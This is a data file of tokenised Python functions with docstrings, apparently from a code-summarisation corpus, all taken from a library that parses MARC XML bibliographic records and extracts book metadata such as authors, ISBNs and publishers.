{"signature": "def resorted(values):", "body": "if not values:<EOL><INDENT>return values<EOL><DEDENT>values = sorted(values)<EOL>first_word = next(<EOL>(cnt for cnt, val in enumerate(values)<EOL>if val and not val[<NUM_LIT:0>].isdigit()),<EOL>None<EOL>)<EOL>if first_word is None:<EOL><INDENT>return values<EOL><DEDENT>words = values[first_word:]<EOL>numbers = values[:first_word]<EOL>return words + numbers<EOL>", "docstring": "Sort values, but put numbers after alphabetically sorted words.\n\nThis function is here to make outputs diff-compatible with Aleph.\n\nExample::\n    >>> sorted([\"b\", \"1\", \"a\"])\n    ['1', 'a', 'b']\n    >>> resorted([\"b\", \"1\", \"a\"])\n    ['a', 'b', '1']\n\nArgs:\n    values (iterable): any iterable object/list/tuple/whatever.\n\nReturns:\n    list of sorted values, but with numbers after words", "id": "f1159:m0"}
{"signature": "def __init__(self, xml=None, resort=True):", "body": "self.leader = None<EOL>self.oai_marc = False<EOL>self.controlfields = OrderedDict()<EOL>self.datafields = OrderedDict()<EOL>self.valid_i_chars = set(list(\"<STR_LIT>\"))<EOL>self.resorted = tools.resorted if resort else lambda x: x<EOL>if hasattr(xml, \"<STR_LIT>\"):<EOL><INDENT>xml = xml.read()<EOL><DEDENT>if xml is not None:<EOL><INDENT>self._original_xml = xml<EOL>self._parse_string(xml)<EOL><DEDENT>", "docstring": "Constructor.\n\nArgs:\n    xml (str/file, default None): XML to be parsed. May be file-like\n        object.\n    resort (bool, default True): Sort the output alphabetically?", "id": "f1161:c0:m0"}
{"signature": "def _parse_string(self, xml):", "body": "if not isinstance(xml, HTMLElement):<EOL><INDENT>xml = dhtmlparser.parseString(str(xml))<EOL><DEDENT>record = xml.find(\"<STR_LIT>\")<EOL>if not record:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>record = record[<NUM_LIT:0>]<EOL>self.oai_marc = len(record.find(\"<STR_LIT>\")) > <NUM_LIT:0><EOL>if not self.oai_marc:<EOL><INDENT>leader = record.find(\"<STR_LIT>\")<EOL>if len(leader) >= <NUM_LIT:1>:<EOL><INDENT>self.leader = leader[<NUM_LIT:0>].getContent()<EOL><DEDENT><DEDENT>if self.oai_marc:<EOL><INDENT>self._parse_control_fields(record.find(\"<STR_LIT>\"), \"<STR_LIT:id>\")<EOL>self._parse_data_fields(record.find(\"<STR_LIT>\"), \"<STR_LIT:id>\", \"<STR_LIT:label>\")<EOL><DEDENT>else:<EOL><INDENT>self._parse_control_fields(record.find(\"<STR_LIT>\"), \"<STR_LIT>\")<EOL>self._parse_data_fields(record.find(\"<STR_LIT>\"), \"<STR_LIT>\", \"<STR_LIT:code>\")<EOL><DEDENT>if self.oai_marc and \"<STR_LIT>\" in self.controlfields:<EOL><INDENT>self.leader = self.controlfields[\"<STR_LIT>\"]<EOL><DEDENT>", "docstring": "Parse MARC XML document to dicts, which are contained in\nself.controlfields and self.datafields.\n\nArgs:\n    xml (str or HTMLElement): input data\n\nAlso detect if this is oai marc format or not (see elf.oai_marc).", "id": "f1161:c0:m1"}
{"signature": "def _parse_control_fields(self, fields, tag_id=\"<STR_LIT>\"):", "body": "for field in fields:<EOL><INDENT>params = field.params<EOL>if tag_id not in params:<EOL><INDENT>continue<EOL><DEDENT>self.controlfields[params[tag_id]] = field.getContent().strip()<EOL><DEDENT>", "docstring": "Parse control fields.\n\nArgs:\n    fields (list): list of HTMLElements\n    tag_id (str):  parameter name, which holds the information, about\n                   field name this is normally \"tag\", but in case of\n                   oai_marc \"id\".", "id": "f1161:c0:m2"}
{"signature": "def _parse_data_fields(self, fields, tag_id=\"<STR_LIT>\", sub_id=\"<STR_LIT:code>\"):", "body": "for field in fields:<EOL><INDENT>params = field.params<EOL>if tag_id not in params:<EOL><INDENT>continue<EOL><DEDENT>field_repr = OrderedDict([<EOL>[self.i1_name, params.get(self.i1_name, \"<STR_LIT:U+0020>\")],<EOL>[self.i2_name, params.get(self.i2_name, \"<STR_LIT:U+0020>\")],<EOL>])<EOL>for subfield in field.find(\"<STR_LIT>\"):<EOL><INDENT>if sub_id not in subfield.params:<EOL><INDENT>continue<EOL><DEDENT>content = MARCSubrecord(<EOL>val=subfield.getContent().strip(),<EOL>i1=field_repr[self.i1_name],<EOL>i2=field_repr[self.i2_name],<EOL>other_subfields=field_repr<EOL>)<EOL>code = subfield.params[sub_id]<EOL>if code in field_repr:<EOL><INDENT>field_repr[code].append(content)<EOL><DEDENT>else:<EOL><INDENT>field_repr[code] = [content]<EOL><DEDENT><DEDENT>tag = params[tag_id]<EOL>if tag in self.datafields:<EOL><INDENT>self.datafields[tag].append(field_repr)<EOL><DEDENT>else:<EOL><INDENT>self.datafields[tag] = [field_repr]<EOL><DEDENT><DEDENT>", "docstring": "Parse data fields.\n\nArgs:\n    fields (list): of HTMLElements\n    tag_id (str): parameter name, which holds the information, about\n                  field name this is normally \"tag\", but in case of\n                  oai_marc \"id\"\n    sub_id (str): id of parameter, which holds informations about\n                  subfield name this is normally \"code\" but in case of\n                  oai_marc \"label\"", "id": "f1161:c0:m3"}
{"signature": "def add_ctl_field(self, name, value):", "body": "if len(name) != <NUM_LIT:3>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.controlfields[name] = value<EOL>", "docstring": "Add new control field `value` with under `name` into control field\ndictionary :attr:`controlfields`.", "id": "f1161:c0:m4"}
{"signature": "def add_data_field(self, name, i1, i2, subfields_dict):", "body": "if i1 not in self.valid_i_chars:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + i1 + \"<STR_LIT>\")<EOL><DEDENT>if i2 not in self.valid_i_chars:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + i2 + \"<STR_LIT>\")<EOL><DEDENT>if len(name) != <NUM_LIT:3>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not subfields_dict:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(subfields_dict, dict):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>subrecords = []<EOL>for key, val in subfields_dict.items():<EOL><INDENT>if len(key) > <NUM_LIT:1>:<EOL><INDENT>raise KeyError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if not isinstance(val, list):<EOL><INDENT>val = [val]<EOL><DEDENT>subfields = map(<EOL>lambda x: MARCSubrecord(x, i1, i2, None),<EOL>val<EOL>)<EOL>subfields_dict[key] = subfields<EOL>subrecords.extend(subfields)<EOL><DEDENT>subfields_dict[self.i1_name] = i1<EOL>subfields_dict[self.i2_name] = i2<EOL>if name in self.datafields:<EOL><INDENT>self.datafields[name].append(subfields_dict)<EOL><DEDENT>else:<EOL><INDENT>self.datafields[name] = [subfields_dict]<EOL><DEDENT>other_subfields = self.datafields[name]<EOL>for record in subrecords:<EOL><INDENT>record.other_subfields = other_subfields<EOL><DEDENT>", "docstring": "Add new datafield into :attr:`datafields` and take care of OAI MARC\ndifferencies.\n\nArgs:\n    name (str): Name of datafield.\n    i1 (char): Value of i1/ind1 parameter.\n    i2 (char): Value of i2/ind2 parameter.\n    subfields_dict (dict): Dictionary containing subfields (as list).\n\n`subfields_dict` is expected to be in this format::\n\n    {\n        \"field_id\": [\"subfield data\",],\n        ...\n        \"z\": [\"X0456b\"]\n    }\n\nWarning:\n    For your own good, use OrderedDict for `subfields_dict`, or\n    constructor's `resort` parameter set to ``True`` (it is by\n    default).\n\nWarning:\n    ``field_id`` can be only one character long!", "id": "f1161:c0:m5"}
{"signature": "def get_i_name(self, num, is_oai=None):", "body": "if num not in (<NUM_LIT:1>, <NUM_LIT:2>):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if is_oai is None:<EOL><INDENT>is_oai = self.oai_marc<EOL><DEDENT>i_name = \"<STR_LIT>\" if not is_oai else \"<STR_LIT:i>\"<EOL>return i_name + str(num)<EOL>", "docstring": "This method is used mainly internally, but it can be handy if you work\nwith with raw MARC XML object and not using getters.\n\nArgs:\n    num (int): Which indicator you need (1/2).\n    is_oai (bool/None): If None, :attr:`.oai_marc` is\n           used.\n\nReturns:\n    str: current name of ``i1``/``ind1`` parameter based on \\\n         :attr:`oai_marc` property.", "id": "f1161:c0:m6"}
{"signature": "@property<EOL><INDENT>def i1_name(self):<DEDENT>", "body": "return self.get_i_name(<NUM_LIT:1>)<EOL>", "docstring": "Property getter / alias for ``self.get_i_name(1)``.", "id": "f1161:c0:m7"}
{"signature": "@property<EOL><INDENT>def i2_name(self):<DEDENT>", "body": "return self.get_i_name(<NUM_LIT:2>)<EOL>", "docstring": "Property getter / alias for ``self.get_i_name(2)``.", "id": "f1161:c0:m8"}
{"signature": "def get_ctl_field(self, controlfield, alt=None):", "body": "if not alt:<EOL><INDENT>return self.controlfields[controlfield]<EOL><DEDENT>return self.controlfields.get(controlfield, alt)<EOL>", "docstring": "Method wrapper over :attr:`.controlfields` dictionary.\n\nArgs:\n    controlfield (str): Name of the controlfield.\n    alt (object, default None): Alternative value of the `controlfield`\n        when `controlfield` couldn't be found.\n\nReturns:\n    str: record from given `controlfield`", "id": "f1161:c0:m9"}
{"signature": "def getDataRecords(self, datafield, subfield, throw_exceptions=True):", "body": "return self.get_subfields(<EOL>datafield=datafield,<EOL>subfield=subfield,<EOL>exception=throw_exceptions<EOL>)<EOL>", "docstring": ".. deprecated::\n    Use :func:`get_subfields` instead.", "id": "f1161:c0:m10"}
{"signature": "def get_subfields(self, datafield, subfield, i1=None, i2=None,<EOL>exception=False):", "body": "if len(datafield) != <NUM_LIT:3>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if len(subfield) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if datafield not in self.datafields:<EOL><INDENT>if exception:<EOL><INDENT>raise KeyError(datafield + \"<STR_LIT>\")<EOL><DEDENT>return []<EOL><DEDENT>output = []<EOL>for datafield in self.datafields[datafield]:<EOL><INDENT>if subfield not in datafield:<EOL><INDENT>continue<EOL><DEDENT>for sfield in datafield[subfield]:<EOL><INDENT>if i1 and sfield.i1 != i1:<EOL><INDENT>continue<EOL><DEDENT>if i2 and sfield.i2 != i2:<EOL><INDENT>continue<EOL><DEDENT>output.append(sfield)<EOL><DEDENT><DEDENT>if not output and exception:<EOL><INDENT>raise KeyError(subfield + \"<STR_LIT>\")<EOL><DEDENT>return output<EOL>", "docstring": "Return content of given `subfield` in `datafield`.\n\nArgs:\n    datafield (str): Section name (for example \"001\", \"100\", \"700\").\n    subfield (str):  Subfield name (for example \"a\", \"1\", etc..).\n    i1 (str, default None): Optional i1/ind1 parameter value, which\n       will be used for search.\n    i2 (str, default None): Optional i2/ind2 parameter value, which\n       will be used for search.\n    exception (bool): If ``True``, :exc:`~exceptions.KeyError` is\n              raised when method couldn't found given `datafield` /\n              `subfield`. If ``False``, blank array ``[]`` is returned.\n\nReturns:\n    list: of :class:`.MARCSubrecord`.\n\nRaises:\n    KeyError: If the subfield or datafield couldn't be found.\n\nNote:\n    MARCSubrecord is practically same thing as string, but has defined\n    :meth:`.MARCSubrecord.i1` and :attr:`.MARCSubrecord.i2`\n    methods.\n\n    You may need to be able to get this, because MARC XML depends on\n    i/ind parameters from time to time (names of authors for example).", "id": "f1161:c0:m11"}
{"signature": "def record_iterator(xml):", "body": "<EOL>if hasattr(xml, \"<STR_LIT>\"):<EOL><INDENT>xml = xml.read()<EOL><DEDENT>dom = None<EOL>try:<EOL><INDENT>dom = dhtmlparser.parseString(xml)<EOL><DEDENT>except UnicodeError:<EOL><INDENT>dom = dhtmlparser.parseString(xml.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>for record_xml in dom.findB(\"<STR_LIT>\"):<EOL><INDENT>yield MARCXMLRecord(record_xml)<EOL><DEDENT>", "docstring": "Iterate over all ``<record>`` tags in `xml`.\n\nArgs:\n    xml (str/file): Input string with XML. UTF-8 is prefered encoding,\n                    unicode should be ok.\n\nYields:\n    MARCXMLRecord: For each corresponding ``<record>``.", "id": "f1162:m0"}
{"signature": "def _undefined_pattern(value, fn, undefined):", "body": "if fn(value):<EOL><INDENT>return undefined<EOL><DEDENT>return value<EOL>", "docstring": "If ``fn(value) == True``, return `undefined`, else `value`.", "id": "f1163:m0"}
{"signature": "def _parse_corporations(self, datafield, subfield, roles=[\"<STR_LIT>\"]):", "body": "if len(datafield) != <NUM_LIT:3>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if len(subfield) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>parsed_corporations = []<EOL>for corporation in self.get_subfields(datafield, subfield):<EOL><INDENT>other_subfields = corporation.other_subfields<EOL>if \"<STR_LIT:4>\" in other_subfields and roles != [\"<STR_LIT>\"]:<EOL><INDENT>corp_roles = other_subfields[\"<STR_LIT:4>\"]  <EOL>relevant = any(map(lambda role: role in roles, corp_roles))<EOL>if not relevant:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>name = \"<STR_LIT>\"<EOL>place = \"<STR_LIT>\"<EOL>date = \"<STR_LIT>\"<EOL>name = corporation<EOL>if \"<STR_LIT:c>\" in other_subfields:<EOL><INDENT>place = \"<STR_LIT:U+002C>\".join(other_subfields[\"<STR_LIT:c>\"])<EOL><DEDENT>if \"<STR_LIT:d>\" in other_subfields:<EOL><INDENT>date = \"<STR_LIT:U+002C>\".join(other_subfields[\"<STR_LIT:d>\"])<EOL><DEDENT>parsed_corporations.append(Corporation(name, place, date))<EOL><DEDENT>return parsed_corporations<EOL>", "docstring": "Parse informations about corporations from given field identified\nby `datafield` parameter.\n\nArgs:\n    datafield (str): MARC field ID (\"``110``\", \"``610``\", etc..)\n    subfield (str):  MARC subfield ID with name, which is typically\n                     stored in \"``a``\" subfield.\n    roles (str): specify which roles you need. Set to ``[\"any\"]`` for\n                 any role, ``[\"dst\"]`` for distributors, etc.. For\n                 details, see\n                 http://www.loc.gov/marc/relators/relaterm.html\n\nReturns:\n    list: :class:`Corporation` objects.", "id": "f1163:c0:m1"}
{"signature": "def _parse_persons(self, datafield, subfield, roles=[\"<STR_LIT>\"]):", "body": "<EOL>parsed_persons = []<EOL>raw_persons = self.get_subfields(datafield, subfield)<EOL>for person in raw_persons:<EOL><INDENT>other_subfields = person.other_subfields<EOL>if \"<STR_LIT:4>\" in other_subfields and roles != [\"<STR_LIT>\"]:<EOL><INDENT>person_roles = other_subfields[\"<STR_LIT:4>\"]  <EOL>relevant = any(map(lambda role: role in roles, person_roles))<EOL>if not relevant:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>ind1 = person.i1<EOL>ind2 = person.i2<EOL>person = person.strip()<EOL>name = \"<STR_LIT>\"<EOL>second_name = \"<STR_LIT>\"<EOL>surname = \"<STR_LIT>\"<EOL>title = \"<STR_LIT>\"<EOL>if ind1 == \"<STR_LIT:1>\" and ind2 == \"<STR_LIT:U+0020>\":<EOL><INDENT>if \"<STR_LIT:U+002C>\" in person:<EOL><INDENT>surname, name = person.split(\"<STR_LIT:U+002C>\", <NUM_LIT:1>)<EOL><DEDENT>elif \"<STR_LIT:U+0020>\" in person:<EOL><INDENT>surname, name = person.split(\"<STR_LIT:U+0020>\", <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>surname = person<EOL><DEDENT>if \"<STR_LIT:c>\" in other_subfields:<EOL><INDENT>title = \"<STR_LIT:U+002C>\".join(other_subfields[\"<STR_LIT:c>\"])<EOL><DEDENT><DEDENT>elif ind1 == \"<STR_LIT:0>\" and ind2 == \"<STR_LIT:U+0020>\":<EOL><INDENT>name = person.strip()<EOL>if \"<STR_LIT:b>\" in other_subfields:<EOL><INDENT>second_name = \"<STR_LIT:U+002C>\".join(other_subfields[\"<STR_LIT:b>\"])<EOL><DEDENT>if \"<STR_LIT:c>\" in other_subfields:<EOL><INDENT>surname = \"<STR_LIT:U+002C>\".join(other_subfields[\"<STR_LIT:c>\"])<EOL><DEDENT><DEDENT>elif ind1 == \"<STR_LIT:1>\" and ind2 == \"<STR_LIT:0>\" or ind1 == \"<STR_LIT:0>\" and ind2 == \"<STR_LIT:0>\":<EOL><INDENT>name = person.strip()<EOL>if \"<STR_LIT:c>\" in other_subfields:<EOL><INDENT>title = \"<STR_LIT:U+002C>\".join(other_subfields[\"<STR_LIT:c>\"])<EOL><DEDENT><DEDENT>parsed_persons.append(<EOL>Person(<EOL>name.strip(),<EOL>second_name.strip(),<EOL>surname.strip(),<EOL>title.strip()<EOL>)<EOL>)<EOL><DEDENT>return parsed_persons<EOL>", "docstring": "Parse persons from given datafield.\n\nArgs:\n    datafield (str): code of datafield (\"010\", \"730\", etc..)\n    subfield (char):  code of subfield (\"a\", \"z\", \"4\", etc..)\n    role (list of str): set to [\"any\"] for any role, [\"aut\"] for\n         authors, etc.. For details see\n         http://www.loc.gov/marc/relators/relaterm.html\n\nMain records for persons are: \"100\", \"600\" and \"700\", subrecords \"c\".\n\nReturns:\n    list: Person objects.", "id": "f1163:c0:m2"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_name(self):<DEDENT>", "body": "return \"<STR_LIT>\".join(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:a>\"))<EOL>", "docstring": "Returns:\n    str: Name of the book.\n\nRaises:\n    KeyError: When name is not specified.", "id": "f1163:c0:m3"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_subname(self, undefined=\"<STR_LIT>\"):<DEDENT>", "body": "return _undefined_pattern(<EOL>\"<STR_LIT>\".join(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:b>\")),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `subname` record is not found.\n\nReturns:\n    str: Subname of the book or `undefined` if `subname` is not \\\n         found.", "id": "f1163:c0:m4"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_price(self, undefined=\"<STR_LIT>\"):<DEDENT>", "body": "return _undefined_pattern(<EOL>\"<STR_LIT>\".join(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:c>\")),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `price` record is not found.\n\nReturns:\n    str: Price of the book (with currency) or `undefined` if `price` \\\n         is not found.", "id": "f1163:c0:m5"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_part(self, undefined=\"<STR_LIT>\"):<DEDENT>", "body": "return _undefined_pattern(<EOL>\"<STR_LIT>\".join(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:p>\")),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `part` record is not found.\n\nReturns:\n    str: Which part of the book series is this record or `undefined` \\\n         if `part` is not found.", "id": "f1163:c0:m6"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_part_name(self, undefined=\"<STR_LIT>\"):<DEDENT>", "body": "return _undefined_pattern(<EOL>\"<STR_LIT>\".join(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:n>\")),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `part_name` record is not found.\n\nReturns:\n    str: Name of the part of the series. or `undefined` if `part_name`\\\n         is not found.", "id": "f1163:c0:m7"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_publisher(self, undefined=\"<STR_LIT>\"):<DEDENT>", "body": "publishers = set([<EOL>remove_hairs_fn(publisher)<EOL>for publisher in self[\"<STR_LIT>\"] + self[\"<STR_LIT>\"]<EOL>])<EOL>return _undefined_pattern(<EOL>\"<STR_LIT:U+002CU+0020>\".join(publishers),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `publisher` record is not found.\n\nReturns:\n    str: Name of the publisher (\"``Grada``\" for example) or \\\n         `undefined` if `publisher` is not found.", "id": "f1163:c0:m8"}
{"signature": "def get_pub_date(self, undefined=\"<STR_LIT>\"):", "body": "dates = self[\"<STR_LIT>\"] + self[\"<STR_LIT>\"]<EOL>def clean_date(date):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>out = \"<STR_LIT>\"<EOL>was_digit = False<EOL>for c in date:<EOL><INDENT>if c.isdigit() or (c == \"<STR_LIT:->\" and was_digit) or c == \"<STR_LIT:U+0020>\":<EOL><INDENT>out += c<EOL><DEDENT>was_digit = c.isdigit()<EOL><DEDENT>return out<EOL><DEDENT>dates = set([<EOL>clean_date(date)<EOL>for date in self[\"<STR_LIT>\"] + self[\"<STR_LIT>\"]<EOL>])<EOL>return _undefined_pattern(<EOL>\"<STR_LIT:U+002CU+0020>\".join(dates),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `pub_date` record is not found.\n\nReturns:\n    str: Date of publication (month and year usually) or `undefined` \\\n         if `pub_date` is not found.", "id": "f1163:c0:m9"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_pub_order(self, undefined=\"<STR_LIT>\"):<DEDENT>", "body": "return _undefined_pattern(<EOL>\"<STR_LIT>\".join(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:f>\")),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `pub_order` record is not found.\n\nReturns:\n    str: Information about order in which was the book published or \\\n         `undefined` if `pub_order` is not found.", "id": "f1163:c0:m10"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_pub_place(self, undefined=\"<STR_LIT>\"):<DEDENT>", "body": "places = set([<EOL>remove_hairs_fn(place)<EOL>for place in self[\"<STR_LIT>\"] + self[\"<STR_LIT>\"]<EOL>])<EOL>return _undefined_pattern(<EOL>\"<STR_LIT:U+002CU+0020>\".join(places),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `pub_place` record is not found.\n\nReturns:\n    str: Name of city/country where the book was published or \\\n         `undefined` if `pub_place` is not found.", "id": "f1163:c0:m11"}
{"signature": "@remove_hairs_decorator<EOL><INDENT>def get_format(self, undefined=\"<STR_LIT>\"):<DEDENT>", "body": "return _undefined_pattern(<EOL>\"<STR_LIT>\".join(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:c>\")),<EOL>lambda x: x.strip() == \"<STR_LIT>\",<EOL>undefined<EOL>)<EOL>", "docstring": "Args:\n    undefined (optional): Argument, which will be returned if the\n              `format` record is not found.\n\nReturns:\n    str: Dimensions of the book ('``23 cm``' for example) or \n        `undefined` if `format` is not found.", "id": "f1163:c0:m12"}
{"signature": "def get_authors(self):", "body": "authors = self._parse_persons(\"<STR_LIT:100>\", \"<STR_LIT:a>\")<EOL>authors += self._parse_persons(\"<STR_LIT>\", \"<STR_LIT:a>\")<EOL>authors += self._parse_persons(\"<STR_LIT>\", \"<STR_LIT:a>\")<EOL>authors += self._parse_persons(\"<STR_LIT>\", \"<STR_LIT:a>\")<EOL>return authors<EOL>", "docstring": "Returns:\n    list: Authors represented as :class:`.Person` objects.", "id": "f1163:c0:m13"}
{"signature": "def get_corporations(self, roles=[\"<STR_LIT>\"]):", "body": "corporations = self._parse_corporations(\"<STR_LIT>\", \"<STR_LIT:a>\", roles)<EOL>corporations += self._parse_corporations(\"<STR_LIT>\", \"<STR_LIT:a>\", roles)<EOL>corporations += self._parse_corporations(\"<STR_LIT>\", \"<STR_LIT:a>\", roles)<EOL>corporations += self._parse_corporations(\"<STR_LIT>\", \"<STR_LIT:a>\", roles)<EOL>return corporations<EOL>", "docstring": "Args:\n    roles (list, optional): Specify which types of corporations you\n          need. Set to ``[\"any\"]`` for any role, ``[\"dst\"]`` for\n          distributors, etc..\n\nNote:\n    See http://www.loc.gov/marc/relators/relaterm.html for details.\n\nReturns:\n    list: :class:`.Corporation` objects specified by roles parameter.", "id": "f1163:c0:m14"}
{"signature": "def get_distributors(self):", "body": "return self.get_corporations(roles=[\"<STR_LIT>\"])<EOL>", "docstring": "Returns:\n    list: Distributors represented as :class:`.Corporation` object.", "id": "f1163:c0:m15"}
{"signature": "def _clean_isbn(self, isbn):", "body": "return isbn.strip().split(\"<STR_LIT:U+0020>\", <NUM_LIT:1>)[<NUM_LIT:0>]<EOL>", "docstring": "Clean ISBN from other information (binding).", "id": "f1163:c0:m16"}
{"signature": "def get_invalid_ISBNs(self):", "body": "return [<EOL>self._clean_isbn(isbn)<EOL>for isbn in self[\"<STR_LIT>\"]<EOL>]<EOL>", "docstring": "Get list of invalid ISBN (``020z``).\n\nReturns:\n    list: List with INVALID ISBN strings.", "id": "f1163:c0:m17"}
{"signature": "def get_ISBNs(self):", "body": "invalid_isbns = set(self.get_invalid_ISBNs())<EOL>valid_isbns = [<EOL>self._clean_isbn(isbn)<EOL>for isbn in self[\"<STR_LIT>\"]<EOL>if self._clean_isbn(isbn) not in invalid_isbns<EOL>]<EOL>if valid_isbns:<EOL><INDENT>return valid_isbns<EOL><DEDENT>return [<EOL>self._clean_isbn(isbn)<EOL>for isbn in self[\"<STR_LIT>\"]<EOL>]<EOL>", "docstring": "Get list of VALID ISBN.\n\nReturns:\n    list: List with *valid* ISBN strings.", "id": "f1163:c0:m18"}
{"signature": "def get_invalid_ISSNs(self):", "body": "return [<EOL>self._clean_isbn(issn)<EOL>for issn in self[\"<STR_LIT>\"] + self[\"<STR_LIT>\"]<EOL>]<EOL>", "docstring": "Get list of invalid ISSNs (``022z`` + ``022y``).\n\nReturns:\n    list: List with INVALID ISSN strings.", "id": "f1163:c0:m19"}
{"signature": "def get_ISSNs(self):", "body": "invalid_issns = set(self.get_invalid_ISSNs())<EOL>return [<EOL>self._clean_isbn(issn)<EOL>for issn in self[\"<STR_LIT>\"]<EOL>if self._clean_isbn(issn) not in invalid_issns<EOL>]<EOL>", "docstring": "Get list of VALID ISSNs (``022a``).\n\nReturns:\n    list: List with *valid* ISSN strings.", "id": "f1163:c0:m20"}
{"signature": "def get_linking_ISSNs(self):", "body": "return [<EOL>self._clean_isbn(issn)<EOL>for issn in self[\"<STR_LIT>\"]<EOL>]<EOL>", "docstring": "Get list of linking ISSNs (``022l``).\n\nReturns:\n    list: List with linking ISSN strings.", "id": "f1163:c0:m21"}
{"signature": "def _filter_binding(self, binding):", "body": "binding = binding.strip().split(\"<STR_LIT:U+0020>\", <NUM_LIT:1>)[-<NUM_LIT:1>]  <EOL>binding = remove_hairs_fn(binding)  <EOL>return binding.split(\"<STR_LIT::>\")[-<NUM_LIT:1>].strip()<EOL>", "docstring": "Filter binding from ISBN record. In MARC XML / OAI, the binding\ninformation is stored in same subrecord as ISBN.\n\nExample:\n    ``<subfield code=\"a\">80-251-0225-4 (bro\u017e.) :</subfield>`` ->\n    ``bro\u017e.``.", "id": "f1163:c0:m22"}
{"signature": "def get_binding(self):", "body": "<EOL>return [<EOL>self._filter_binding(binding)<EOL>for binding in self[\"<STR_LIT>\"]<EOL>if \"<STR_LIT:->\" in binding and \"<STR_LIT:U+0020>\" in binding<EOL>]<EOL>", "docstring": "Returns:\n    list: Array of strings with bindings (``[\"bro\u017e.\"]``) or blank list.", "id": "f1163:c0:m23"}
{"signature": "def get_originals(self):", "body": "return self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:t>\")<EOL>", "docstring": "Returns:\n    list: List of strings with names of original books (names of books\\\n          in original language, before translation).", "id": "f1163:c0:m24"}
{"signature": "def get_urls(self):", "body": "urls = self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:u>\", i1=\"<STR_LIT:4>\", i2=\"<STR_LIT:2>\")<EOL>return map(lambda x: x.replace(\"<STR_LIT>\", \"<STR_LIT:&>\"), urls)<EOL>", "docstring": "Content of field ``856u42``. Typically URL pointing to producers\nhomepage.\n\nReturns:\n    list: List of URLs defined by producer.", "id": "f1163:c0:m25"}
{"signature": "def get_internal_urls(self):", "body": "internal_urls = self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:u>\", i1=\"<STR_LIT:4>\", i2=\"<STR_LIT:0>\")<EOL>internal_urls.extend(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:a>\"))<EOL>internal_urls.extend(self.get_subfields(\"<STR_LIT>\", \"<STR_LIT:u>\"))<EOL>return map(lambda x: x.replace(\"<STR_LIT>\", \"<STR_LIT:&>\"), internal_urls)<EOL>", "docstring": "URL's, which may point to edeposit, aleph, kramerius and so on.\n\nFields ``856u40``, ``998a`` and ``URLu``.\n\nReturns:\n    list: List of internal URLs.", "id": "f1163:c0:m26"}
